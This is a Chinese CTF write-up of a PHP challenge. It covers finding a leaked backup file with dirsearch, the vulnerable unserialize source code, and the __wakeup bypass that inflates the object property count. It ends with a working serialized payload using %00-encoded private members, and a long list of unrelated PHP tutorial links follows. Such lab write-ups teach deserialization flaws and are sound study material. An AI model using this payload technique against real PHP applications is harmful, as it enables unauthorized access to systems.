[极客大挑战]PHP——目录泄露+反序列化
考点:目录泄露+PHP反序列化
题目一览
拿到题目,前端是个逗猫游戏
源码也没什么东西,先dirsearch跑一遍,这里设置下delay,防止频率过快被报429:
发现备份文件,打开发现源码:
分析
index.php
:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php
:
?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
flag.php里面是个假flag。
从index.php不难看出是个反序列化题目,我们直接分析class.php:
类名:name
成员变量:private的$username $password
__construct:类的构造函数
__wakeup:一个类反序列化时,调用该函数。会把username变成guest
__destruct:析构函数。类销毁的时候执行,只有username为admin,password为100时候,输出flag
绕过__wakeup方法很简单:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行
<?php
class Name{
private $username = 'admin';
private $password = 100;
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name();
echo serialize($a);
?>
得到:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
在改对象个数之前,可以发现一个问题:Nameusername是12个字符,为什么显示14个?
见下例:
<?php
class test{
private $test1="hello";
public $test2="hello";
protected $test3="hello";
}
$test = new test();
echo serialize($test);
?>
输出为:
O:4:"test":3:{s:11:"testtest1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"*test3";s:5:"hello";}
如果我们抓包的话,可以看到如下结果:
{s:11:"%00test%00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"%00*%00test3";s:5:"hello";}
private的成员变量被反序列化后变成 %00test%00test1
public的成员变量不变,仍为test2
protected的成员变量变成 %00*%00test3
这就是为什么我们的payload变成了14,因为多的2个字符为%00,为不可打印字符,所以不显示。
最终payload
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
最后别忘了传一个select参数:
原文地址:https://www.cnblogs.com/keelongz/p/12580444.html
- 基于PhalApi的Redis拓展
- PhalApi-Image -- 图像处理
- 为什么微信红包长这样?
- Visual Studio 2008 每日提示(三十六)
- zephir-(6)运算符
- zephir-(12)php函数和异常处理
- phalapi-进阶篇7(使用缓存以及用redis拓展解决实际问题)
- 5个不为人知的Java API使用技巧
- zephir-(3)你的第一个PHP拓展
- zephir-(7)数组
- phalapi-进阶篇5(数据库读写分离以及多库使用)
- phalapi-进阶篇4(notrom进阶以及事务操作)
- 自动机器学习:利用遗传算法优化递归神经网络
- zephir-(8)类和对象1
- php概述
- php教程
- php环境搭建
- PHP书写格式
- php变量
- php常量
- PHP注释
- php数组
- php字符串 string
- PHP整型 integer
- PHP浮点型 float
- php布尔型
- php数据类型之数组
- php数据类型之对象
- php数据类型之null
- php数据类型之间的转换
- php运算符
- php表达式
- PHP循环控制
- PHP流程控制
- php函数
- php全局变量
- PHP魔术变量
- php命名空间
- php 日期
- PHP包含文件
- php文件
- PHP 文件上传
- php Cookies
- php Sessions
- php email
- php安全email
- php错误处理
- PHP异常处理
- php过滤器
- PHP 高级过滤器
- php json
- php 表单
- PHP MySQL 简介
- PHP 连接 MySQL
- php创建数据库
- php 创建表
- php mysq 插入数据
- PHP MySQL 插入多条数据
- PHP MySQL 预处理语句
- php mysql 读取数据
- php mysql where
- PHP MySQL Order By
- PHP MySQL Update
- PHP MySQL Delete
- php ODBC
- Yii2.0框架behaviors方法使用实例分析
- laravel 去掉index.php伪静态的操作方法
- laravel 获取某个查询的查询SQL语句方法
- laravel dingo API返回自定义错误信息的实例
- Linux基于php-fpm模式的lamp搭建phpmyadmin的办法
- 基于laravel Request的所有方法详解
- 浅谈thinkphp的nginx配置,以及重写隐藏index.php入口文件方法
- php图片裁剪函数
- Laravel自定义 封装便捷返回Json数据格式的引用方法
- Laravel模糊查询区分大小写的实例
- laravel实现一个上传图片的接口,并建立软链接,访问图片的方法
- Laravel中validation验证 返回中文提示 全局设置的方法
- laravel5表单唯一验证的实例代码
- 实现laravel 插入操作日志到数据库的方法
- laravel validate 设置为中文的例子(验证提示为中文)